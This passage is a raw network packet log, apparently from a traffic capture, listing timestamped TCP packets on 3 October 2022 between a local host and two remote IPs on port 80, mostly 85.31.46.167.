Oct 3, 2022 17:30:01.187002897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187009096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187047005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187071085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187071085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187086105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187115908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187122107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187144995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187160015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187195063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187216997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187230110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187266111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187292099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187300920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187335968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187361002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187371016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187406063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187429905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187443972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187479973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187506914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187515020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187550068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187577963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187586069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187623024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187645912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187663078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187699080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187721014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187735081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187769890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187793016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187804937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187841892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187861919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187876940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187912941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187937021 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.187949896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.187984943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188009024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188020945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188056946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188091993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188112974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188112974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188129902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188157082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188168049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188194990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188205004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188247919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188247919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188283920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188318014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188318968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188350916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188354015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188390970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188400030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188400030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188427925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188441992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188465118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188477039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188500881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188529015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188536882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188572884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188600063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188608885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188643932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188666105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188678980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188714981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188739061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188750029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188786030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188808918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188822985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188858986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188883066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188893080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188930035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.188955069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.188965082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189011097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189035892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189047098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189083099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189110041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189120054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189157009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189181089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189193010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189229965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189254045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189266920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189302921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189327002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189340115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189377069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189400911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189414024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189450979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189476013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189486980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189523935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189547062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189560890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189596891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189620972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189632893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189668894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189690113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189704895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189740896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189762115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189778090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189814091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189836025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189850092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189886093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189909935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.189933062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189970970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.189992905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190007925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190046072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190069914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190083027 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190119982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190145016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190155983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190193892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190218925 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190229893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190267086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190291882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190303087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190339088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190366030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190375090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190412045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190435886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.190448046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190484047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.190511942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.193662882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.206500053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.206569910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.206610918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.207704067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.207742929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.207755089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.207796097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.207838058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.207878113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.207917929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.209934950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.211324930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.211369038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.211409092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.211440086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.212332964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217577934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217660904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217698097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217719078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217744112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217773914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217776060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217830896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217855930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217885017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.217911959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.217943907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218002081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218027115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218055010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218107939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218133926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218161106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218214989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218239069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218269110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218321085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218346119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218378067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218430996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218456984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218483925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218537092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218564987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218590975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218642950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218668938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218696117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218748093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218775034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218801975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218854904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.218893051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.218952894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219007969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219038010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219058990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219113111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219139099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219166994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219217062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219242096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219270945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219321966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219346046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219373941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219424963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219449043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219475031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219528913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219554901 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219579935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219631910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219656944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219682932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219734907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219758987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219785929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219835997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219861031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219888926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219939947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.219964027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.219994068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220045090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220072031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220098019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220150948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220174074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220201969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220253944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220278025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220304966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220330000 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220357895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220408916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220438004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220467091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220520020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220546007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220572948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220624924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220648050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220679998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220730066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220762014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220781088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220833063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220858097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220884085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220936060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.220959902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.220988989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221045017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221071005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221098900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221151114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221174955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221201897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221251965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221276045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221302032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221354008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221379995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221405029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221458912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221496105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221523046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221574068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221597910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221623898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221677065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221703053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221729040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221780062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221803904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221831083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221880913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221908092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.221935034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.221990108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222048998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222084045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222126961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222163916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222193956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222246885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222282887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222311020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222363949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222397089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222426891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222480059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222512960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222543001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222596884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222629070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222659111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222712994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.222745895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.222770929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.224046946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.488373995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.488537073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:02.001936913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:02.004153013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:02.992503881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:02.994282007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:03.573122978 CEST	80	49693	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:03.576339006 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:04.912460089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:04.912657976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.427900076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.429459095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.455357075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.455471039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.455557108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.455585003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.455658913 CEST	49694	80	192.168.2.5	85.31.46.167
